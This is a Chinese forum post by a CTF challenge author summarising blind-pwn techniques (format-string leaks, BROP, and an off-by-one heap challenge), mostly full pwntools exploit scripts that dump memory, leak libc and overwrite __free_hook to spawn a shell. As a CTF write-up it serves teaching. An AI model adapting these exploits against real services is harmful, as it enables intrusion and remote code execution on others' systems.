学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1168

主题
发表于 2020-5-27 13:46:45 | 查看: 6489| 回复: 2

相关题目:

blind-pwn总结+创新前言  blind-pwn是一种黑盒pwn的模式,也就是比赛的时候不给你提供二进制文件,让你实现dump文件或者不dump文件泄露部分信息的目的...
  其实16年就已经有比较多的blind-pwn的赛题以及文章分析了,作为第二届安洵杯出题人,发现blind-pwn没有什么合适的堆区利用黑盒pwn,所以在这个基础上做一个总结以及创新.
  所有代码/文件都会标注出文件名,同时附件里面也有对于每道题更加详细的wp,附件下载即可
fmt32  目录为fmt32
  格式化字符串漏洞,是最经典的blind pwn.它通过格式化字符串漏洞,泄露内存中的地址.
  这里有两种做法,有的做法具有局限性,有的是通用的,但是很耗时间
  第一种做法:
  • 测试程序正常功能
  • 找到格式化字符串漏洞
  • 确定偏移--offset-step1.py
  • dump文件--dump-step2.py,pwn1bin
  • 利用got表地址,泄露出libc
  • getshell--bin.exp.py
  在确定偏移的过程中,需要小心一个问题
  就是计算偏移的时候,存在一个问题就是,我们要保证偏移量足够,就一定要前面增加一个字节的垃圾数据

blind-pwn系列总结+创新

blind-pwn系列总结+创新
  dump下来的程序是没法运行(没有SHT,dump下来的时候是通过EOF来进行判断结尾的,但是SHT的偏移是0x18dc但是程序运行的时候,是不会把这些数据载入到地址上的)
  丢进ida中,还是可以直接当成一个二进制文件进行分析的,而64位不可...后面会有64位的打开方法

blind-pwn系列总结+创新

blind-pwn系列总结+创新
  第二种做法:--dyn.exp.py
  思路不变,但是不dump程序,用dynelf机制进行泄露system地址,getshell
  这里有个局限性就是,需要能够有不断开连接,循环泄露内存的条件,但是其实在黑盒pwn的实战中,一般都是存在断开连接,地址复用(一些主流web框架会有),所以利用DYNELF并不常用,但是针对于这道题目来说,确实最合适,最快的解题方案
  核心代码如下
[pre]def leak(addr):  result = ''
  while(len(result)< 4):
  sh.sendafter('Please tell me:', '%16$s#\n\0'.ljust(0x21, '\0') +p32(addr + len(result)) + '\0')
  sh.recvuntil('Repeater:')
  result +=sh.recvuntil('#\n', drop=True) + '\0'
  log.info(hex(addr) + ' => ' + hex(u32(result[:4])))
  return result[:4]
  libc = DynELF(leak, 0x8048000)
  libc_addr = u32(leak(0x804a010)) -  0xd4350
  log.success('libc_addr: ' + hex(libc_addr))
  system_addr = libc.lookup('system', 'libc')
  log.success('system_addr: ' + hex(system_addr))
  [/pre]
fmt64  目录为fmt64
  64位其实和32位的区别并不大,思路也是同样的
  • 测试程序正常功能
  • 找到格式化字符串漏洞
  • 确定偏移--offset-step1.py
  • dump文件--64dump.py,stilltestbin
  • 利用got表地址,泄露出libc
  • getshell--64bin.exp.py
  第一个问题,dump下来的文件ida是无法直接分析
  载入的时候需要设置一下...

blind-pwn系列总结+创新

blind-pwn系列总结+创新
  同时第二个问题需要注意的是
  64位的格式化字符串,是无法避免出现\x00的情况的,scanf,printf都默认认为\x00是字符串结尾,所以这里我根据pwntools的源码,进行了修改,自创了一个函数,用来反序覆盖地址
[pre]def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):  config = {
  32 : {
  'byte': (4, 1, 0xFF, 'hh', 8),
  'short': (2, 2, 0xFFFF, 'h', 16),
  'int': (1, 4, 0xFFFFFFFF, '', 32)},
  64 : {
  'byte': (8, 1, 0xFF, 'hh', 8),
  'short': (4, 2, 0xFFFF, 'h', 16),
  'int': (2, 4, 0xFFFFFFFF, '', 32)
  }
  }
  if write_size not in ['byte', 'short', 'int']:
  log.error("write_size must be 'byte', 'short' or 'int'")
  number, step, mask, formatz, decalage = config[context.bits][write_size]
  payload = ""
  payload_last = ""
  for where,what in writes.items():
  for i in range(0,number*step,step):
  payload_last += pack(where+i)
  fmtCount = 0
  payload_forward = ""
  key_toadd = []
  key_offset_fmtCount = []
  for where,what in writes.items():
  for i in range(0,number):
  current = what & mask
  if numbwritten & mask <= current:
  to_add = current - (numbwritten & mask)
  else:
  to_add = (current | (mask+1)) - (numbwritten & mask)
  if to_add != 0:
  key_toadd.append(to_add)
  payload_forward += "%{}c".format(to_add)
  else:
  key_toadd.append(to_add)
  payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
  key_offset_fmtCount.append(offset + fmtCount)
  #key_formatz.append(formatz)
  numbwritten += to_add
  what >>= decalage
  fmtCount += 1
  len1 = len(payload_forward)
  key_temp = []
  for i in range(len(key_offset_fmtCount)):
  key_temp.append(key_offset_fmtCount)
  x_add = 0
  y_add = 0
  while True:
  x_add = len1 / 8 + 1
  y_add = 8 - (len1 % 8)
  for i in range(len(key_temp)):
  key_temp = key_offset_fmtCount + x_add
  payload_temp = ""
  for i in range(0,number):
  if key_toadd != 0:
  payload_temp += "%{}c".format(key_toadd)
  payload_temp += "%{}${}n".format(key_temp, formatz)
  len2 = len(payload_temp)
  xchange = y_add - (len2 - len1)
  if xchange >= 0:
  payload = payload_temp + xchange*'a' + payload_last
  return payload;
  else:
  len1 = len2
  [/pre]
  这样子,大家比赛的时候,遇到64位的格式化字符串就可以轻松的,调用函数,直接一键生成payload了...嘿嘿
brop  文件目录为brop
  brop是利用rop不断循环的爆破出地址,条件就是要求可以不停的重连,这个比较常见,但是如果说搭建pwn题环境的时候,就需要配置一下系统设置
  brop这类题目,不是特别适合在比赛中,因为特别浪费时间,适合为在实战中路由器的黑盒拿到路由器终端作为一种新的思路
  思路主要是这样子
  • 暴力破解-获取偏移--stack_overflow_length.py
  • 获取stop_gadget--main函数地址--stop_gadget.py
  • 获取brop_gadget--libc_csu_init--brop_gadget.py
  • 获取puts_plt--puts_plt.py
  • dump文件--leak_dump.py,code
  • getshell--exp.py
  那么在这个过程一定要记住一个核心的东西,就是爆破的过程中,容易出现某些地址符合条件,但是却不符合其它条件的情况,所以该题比较浪费时间
  举个例子:
  这里会发现一个问题,我们的puts_plt = 0x400635 在前面都是正确的,因为代码的确会执行到puts的函数的功能,但是我们在实际查看dump下来的文件的时候,我们会发现这个

blind-pwn系列总结+创新

blind-pwn系列总结+创新
  很巧的就是这个0x400635是在plt表的开头,然后puts正好是衔接着开头的,所以实际的plt的地址应该是后面那个,不信,可以改掉前面的635->640,是完全都可以运行的
创新题-堆区利用offbyone-blindpwn  文件目录为offbyone
  发现网上没有这一类的题目,所以自创了一道,也算是抛砖引玉,并且安洵杯决赛打的效果还比较好,希望,自己能再研究出一些新blindpwn题
  题目分析
  首先测试程序的基本功能,分析结构,尝试dump内存
  首先是要了解过off by one这种漏洞原理,我们发现,读取字符串的函数是scanf
  我们要知道scanf的问题是什么?是它会在输入的字符串最后加\x00,所以在这里,我们出现了单字节溢出的问题
  盲打小贴士:
  为什么读取字符串的函数是scanf,通过,测试,输入特殊符号,不会显示,直接中断,所以是scanf
  然后发现输入并没有限制长度...所以这里,可以利用上这种漏洞
  利用这个漏洞,泄露出内存
  泄露内存的时候,测试是否开启了空间地址随机化,然后发现没有,如果有的话,那就使用mmap申请大内存空间的解法...
  echo 1 > /proc/sys/kernel/randomize_va_space 代表pie部分开启(heap基地址不会开启pie),所以可以基于heap base addr泄露出程序的基地址
  泄露出内存,dump出文件
  找到一个got表地址,泄露出libc基地址
  然后考虑使用one_gadget去覆盖free_hook或者malloc_hook
  dump脚本编写
  如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开
  通过单字节溢出,以及精心伪造一个堆chunk结构,实现任意地址泄露内存
  偏移量这里解释一下,由于一个chunk头部都会有0x10个字节用来存放pre_size和size,所以偏移量是0x1000-0x10
[pre]#! /usr/bin/env python  # -*- coding: utf-8 -*-
  from pwn import *
  #context.log_level = 'debug'#critical/debug
  p = process("./buy")
  f = open("buybin", "ab+")
  #f = open("64weiba", "ab+")
  def writename(name):
  io.recvuntil("(1~32):")
  io.sendline(name)
  def namechange(name):
  io.recvuntil("Your choice:")
  io.sendline("6")
  io.recvuntil("(1~32):")
  io.sendline(name)
  def add(name_size,name,des_size,des):
  io.recvuntil("Your choice:")
  io.sendline("1")
  io.recvuntil(".")
  io.sendline(str(name_size))
  io.recvuntil(".")
  io.sendline(name)
  io.recvuntil(".")
  io.sendline(str(des_size))
  io.recvuntil(".")
  io.sendline(des)
  def displayall():
  io.recvuntil("Your choice:")
  io.sendline("3")
  io.recvuntil("Your choice:")
  io.sendline("1")
  io.recvuntil(32*"a")
  #io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
  book1_addr = io.recvuntil("\'s",drop=True)
  book1_addr = book1_addr.ljust(8,'\x00')
  book1_addr = u64(book1_addr)
  #print hex(book1_addr)
  io.recvuntil("des address is ")
  return book1_addr
  def change(index,name,desrcript):
  io.recvuntil("Your choice:")
  io.sendline("2")
  io.recvuntil("index is ")
  io.sendline(str(index))
  io.recvuntil("y's name.\n")
  io.sendline(name)
  io.recvuntil("y's desrcription.")
  io.sendline(desrcript)
  def displayall_getdump(index):
  io.recvuntil("Your choice:")
  io.sendline("2")
  io.recvuntil("index is ")
  io.sendline(str(index))
  io.recvuntil("name is ")
  addr = io.recvuntil("\n",drop=True)
  #addr = addr.ljust(8,'\x00')
  #addr = u64(addr)
  return addr
  begin = 0x400000
  offset = 0
  i=0
  while True:#i<13:#True:#
  addr = begin + offset
  try:
  io = process("./buy")
  #get the first heap address
  writename("a"*32)
  add(4200,"spring",12,"aaa")
  first_heap_addr = displayall()
  print '
  • first_heap_addr is ' + hex(first_heap_addr)
      #first_heap_addr = 0x605040
      '''
      int name_size;
      char *name;
      int des_size;
      char *desrcript;
      '''
      #get dump test
      displayall()
      #first heap pre_size>
      ljust_offset = 4096 - 16
      print '
  • ljust_offset is ' + hex(ljust_offset)
      payload_des_dump = ljust_offset *'c' + p64(12) + p64(addr) + p64(12) + p64(addr)
      #payload_des_dump = 0xfff * 'c'
      #pause()
      change(0,"spring",payload_des_dump)
      namechange("a"*32)
      #gdb.attach(io)
      info = displayall_getdump(0)
      print '
  • info is ' + info
      io.close()
      except EOFError:
      print "offset is " + hex(offset)
      break
      if len(info)==0:
      print "info is null"
      offset += 1
      f.write('\x00')
      else:
      info += "\x00"
      offset += len(info)
      f.write(info)
      f.flush()
      i = i + 1
      print "offset is " + str(offset)
      f.close()
      p.close()
      #'''
      [/pre]
      dump出来的程序,需要找到一个函数的got表地址就行了,这样就可以计算出对应的一个偏移
      泄露出来的文件还是不可以被反汇编,但是可以找到很多汇编代码
      然后通过去寻找一个函数的plt地址,最好是找puts或者printf,因为题目显示字符串一直在用这两个函数,所以这两个函数使用次数最多,所以肯定比较好分辨
      找到puts_got
      泄露libc
      其实和之前的代码一样,主要的任务就是,但是地址覆盖写在puts_got的地址
    [pre]#-*- coding:utf-8 –*-  from pwn import *
      from LibcSearcher import LibcSearcher
      context.log_level='debug'
      #context(arch = 'i386', os = 'linux', log_level='debug')
      #context(arch = 'amd64', os = 'linux', log_level='debug')
      #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
      elfFileName = "buy"
      libcFileName = ""
      ip = ""
      port = 0
      Debug = 1
      if Debug:
      io = process(elfFileName)
      else:
      io = remote(ip,port)
      #elf = ELF(elfFileName)
      def writename(name):
      io.recvuntil("(1~32):")
      io.sendline(name)
      def namechange(name):
      io.recvuntil("Your choice:")
      io.sendline("6")
      io.recvuntil("(1~32):")
      io.sendline(name)
      def add(name_size,name,des_size,des):
      io.recvuntil("Your choice:")
      io.sendline("1")
      io.recvuntil(".")
      io.sendline(str(name_size))
      io.recvuntil(".")
      io.sendline(name)
      io.recvuntil(".")
      io.sendline(str(des_size))
      io.recvuntil(".")
      io.sendline(des)
      def displayall():
      io.recvuntil("Your choice:")
      io.sendline("3")
      io.recvuntil("Your choice:")
      io.sendline("1")
      io.recvuntil(32*"a")
      #io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
      book1_addr = io.recvuntil("\'s",drop=True)
      book1_addr = book1_addr.ljust(8,'\x00')
      book1_addr = u64(book1_addr)
      #print hex(book1_addr)
      #io.recvuntil("des address is ")
      return book1_addr
      def change(index,name,desrcript):
      io.recvuntil("Your choice:")
      io.sendline("2")
      io.recvuntil("index is ")
      io.sendline(str(index))
      io.recvuntil("y's name.\n")
      io.sendline(name)
      io.recvuntil("y's desrcription.")
      io.sendline(desrcript)
      def displayall_getdump():
      io.recvuntil("Your choice:")
      io.sendline("3")
      io.recvuntil("Your choice:")
      io.sendline("1")
      io.recvuntil("name is ")
      addr = io.recvuntil("\n",drop=True)
      addr = addr.ljust(8,'\x00')
      addr = u64(addr)
      #io.recvuntil("des address is ")
      return addr
      def make_empty(index):
      io.recvuntil("Your choice:")
      io.sendline("5")
      io.recvuntil("Your choice:")
      io.sendline("2")
      io.recvuntil("The index is ")
      io.sendline(str(index))
      #get the first heap address
      writename("a"*32)
      add(4200,"spring",12,"aaa")
      add(16,"hello",16,"hello")
      first_heap_addr = displayall()
      print '
  • first_heap_addr is ' + hex(first_heap_addr)
      #first_heap_addr = 0x605040
      '''
      int name_size;
      char *name;
      int des_size;
      char *desrcript;
      '''
      #get dump test
      displayall()
      #first heap pre_size>
      offset = 4096 - 16
      print '
  • offset is ' + hex(offset)
      puts_got = 0x603028
      printf_got = 0x603040
      payload_got_get = offset *'c' + p64(20) + p64(puts_got) + p64(20) + p64(first_heap_addr+0x78)
      #payload_des_dump = 0xfff * 'c'
      #pause()
      change(0,"spring",payload_got_get)
      namechange("a"*32)
      #gdb.attach(io)
      puts_addr = displayall_getdump()
      print '
  • puts_addr is ' + hex(puts_addr)
      #find libc
      libc = LibcSearcher('puts', puts_addr)
      libc_base = puts_addr - libc.dump('puts')
      freehook_addr = libc_base + libc.dump('__free_hook')
      system_addr = libc_base + libc.dump('system')
      binsh_addr = libc_base + libc.dump('str_bin_sh')
      print '
  • freehook_addr is ' + hex(freehook_addr)
      print '
  • system_addr is ' + hex(system_addr)
      print '
  • binsh_addr is ' + hex(binsh_addr)
      one_gadget = libc_base + 0x4526a
      print '
  • one_gadget is ' + hex(one_gadget)
      change(0,p64(puts_addr),p64(freehook_addr))
      change(1,p64(system_addr),p64(system_addr))
      make_empty(1)
      io.interactive()
      [/pre]
      那么这里,其实我已经给出是错误的exp,但是在测试过程中,可以把one_gadget改成system_addr,这样子,只要能够出现sh报错,就能知道可以选择哪个libc库
      我这里是[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
      获取one_gadget
      安装one_gadget
    [pre]su root  apt-get install ruby
      apt-get install gem
      gem install one_gadget
      [/pre]
      获取libc库的onegadget
      找到libcsearch的安装文件夹,找到对应id的libc库
      然后执行,命令
    [pre]one_gadget libc6_2.23-0ubuntu10_amd64.so  0x45216 execve("/bin/sh", rsp+0x30, environ)
      constraints:
      rax == NULL
      0x4526a execve("/bin/sh", rsp+0x30, environ)
      constraints:
      [rsp+0x30] == NULL
      0xf02a4 execve("/bin/sh", rsp+0x50, environ)
      constraints:
      [rsp+0x50] == NULL
      0xf1147 execve("/bin/sh", rsp+0x70, environ)
      constraints:
      [rsp+0x70] == NULL
      [/pre]
      上面4个,第二个成功了...
      exp
    [pre]#-*- coding:utf-8 –*-  from pwn import *
      from LibcSearcher import LibcSearcher
      context.log_level='debug'
      #context(arch = 'i386', os = 'linux', log_level='debug')
      #context(arch = 'amd64', os = 'linux', log_level='debug')
      #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
      elfFileName = "buy"
      libcFileName = ""
      ip = ""
      port = 0
      Debug = 1
      if Debug:
      io = process(elfFileName)
      else:
      io = remote(ip,port)
      #elf = ELF(elfFileName)
      def writename(name):
      io.recvuntil("(1~32):")
      io.sendline(name)
      def namechange(name):
      io.recvuntil("Your choice:")
      io.sendline("6")
      io.recvuntil("(1~32):")
      io.sendline(name)
      def add(name_size,name,des_size,des):
      io.recvuntil("Your choice:")
      io.sendline("1")
      io.recvuntil(".")
      io.sendline(str(name_size))
      io.recvuntil(".")
      io.sendline(name)
      io.recvuntil(".")
      io.sendline(str(des_size))
      io.recvuntil(".")
      io.sendline(des)
      def displayall():
      io.recvuntil("Your choice:")
      io.sendline("3")
      io.recvuntil("Your choice:")
      io.sendline("1")
      io.recvuntil(32*"a")
      #io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
      book1_addr = io.recvuntil("\'s",drop=True)
      book1_addr = book1_addr.ljust(8,'\x00')
      book1_addr = u64(book1_addr)
      #print hex(book1_addr)
      #io.recvuntil("des address is ")
      return book1_addr
      def change(index,name,desrcript):
      io.recvuntil("Your choice:")
      io.sendline("2")
      io.recvuntil("index is ")
      io.sendline(str(index))
      io.recvuntil("y's name.\n")
      io.sendline(name)
      io.recvuntil("y's desrcription.")
      io.sendline(desrcript)
      def displayall_getdump():
      io.recvuntil("Your choice:")
      io.sendline("3")
      io.recvuntil("Your choice:")
      io.sendline("1")
      io.recvuntil("name is ")
      addr = io.recvuntil("\n",drop=True)
      addr = addr.ljust(8,'\x00')
      addr = u64(addr)
      #io.recvuntil("des address is ")
      return addr
      def make_empty(index):
      io.recvuntil("Your choice:")
      io.sendline("5")
      io.recvuntil("Your choice:")
      io.sendline("2")
      io.recvuntil("The index is ")
      io.sendline(str(index))
      #get the first heap address
      writename("a"*32)
      add(4200,"spring",12,"aaa")
      add(16,"hello",16,"hello")
      first_heap_addr = displayall()
      print '
  • first_heap_addr is ' + hex(first_heap_addr)
      #first_heap_addr = 0x605040
      '''
      int name_size;
      char *name;
      int des_size;
      char *desrcript;
      '''
      #get dump test
      displayall()
      #first heap pre_size>
      offset = 4096 - 16
      print '
  • offset is ' + hex(offset)
      puts_got = 0x603028
      printf_got = 0x603040
      payload_got_get = offset *'c' + p64(20) + p64(puts_got) + p64(20) + p64(first_heap_addr+0x78)
      #payload_des_dump = 0xfff * 'c'
      #pause()
      change(0,"spring",payload_got_get)
      namechange("a"*32)
      #gdb.attach(io)
      puts_addr = displayall_getdump()
      print '
  • puts_addr is ' + hex(puts_addr)
      #find libc
      libc = LibcSearcher('puts', puts_addr)
      libc_base = puts_addr - libc.dump('puts')
      freehook_addr = libc_base + libc.dump('__free_hook')
      system_addr = libc_base + libc.dump('system')
      binsh_addr = libc_base + libc.dump('str_bin_sh')
      print '
  • freehook_addr is ' + hex(freehook_addr)
      print '
  • system_addr is ' + hex(system_addr)
      print '
  • binsh_addr is ' + hex(binsh_addr)
      ''' onegadget
      0x45216 execve("/bin/sh", rsp+0x30, environ)
      constraints:
      rax == NULL
      0x4526a execve("/bin/sh", rsp+0x30, environ)
      constraints:
      [rsp+0x30] == NULL
      0xf02a4 execve("/bin/sh", rsp+0x50, environ)
      constraints:
      [rsp+0x50] == NULL
      0xf1147 execve("/bin/sh", rsp+0x70, environ)
      constraints:
      [rsp+0x70] == NULL
      '''
      one_gadget = libc_base + 0x4526a
      print '
  • one_gadget is ' + hex(one_gadget)
      change(0,p64(puts_addr),p64(freehook_addr))
      change(1,p64(one_gadget),p64(system_addr))
      make_empty(1)
      io.interactive()
      [/pre]
    总结  blind pwn的核心是实现泄露内存,从而dump出整个文件
      而漏洞可利用在blind pwn上的条件为:
    • brop: 必须的地址复用,栈区溢出,read函数
    • fmt: 格式化字符串漏洞,read函数
    • offbyone: 堆区可控大小,单字节溢出,read函数,变量的结构(结构体和全局变量)
      很开心能够通过自创,将blindpwn整理为一个系列,相信未来还有出现更多这类赛题

    游客,如果您要查看本帖隐藏内容请回复


  • 温馨提示:
    1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
    2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
    3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
    论坛交流群:672619046

      发表于 2020-6-24 15:18:42
      感谢大神的分享,思路很清晰,建议能够拿一条例题详细讲解下。

        发表于 2020-9-28 04:14:33
        666666666666666

        小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

        GMT+8, 2024-11-24 17:11 , Processed in 0.261508 second(s), 53 queries .

        Powered by Discuz! X3.4

        Copyright © 2001-2021, Tencent Cloud.

        快速回复 返回顶部 返回列表